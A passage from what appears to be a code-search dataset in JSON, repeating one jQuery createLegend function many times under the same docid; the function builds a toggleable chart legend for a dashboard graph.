$(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n 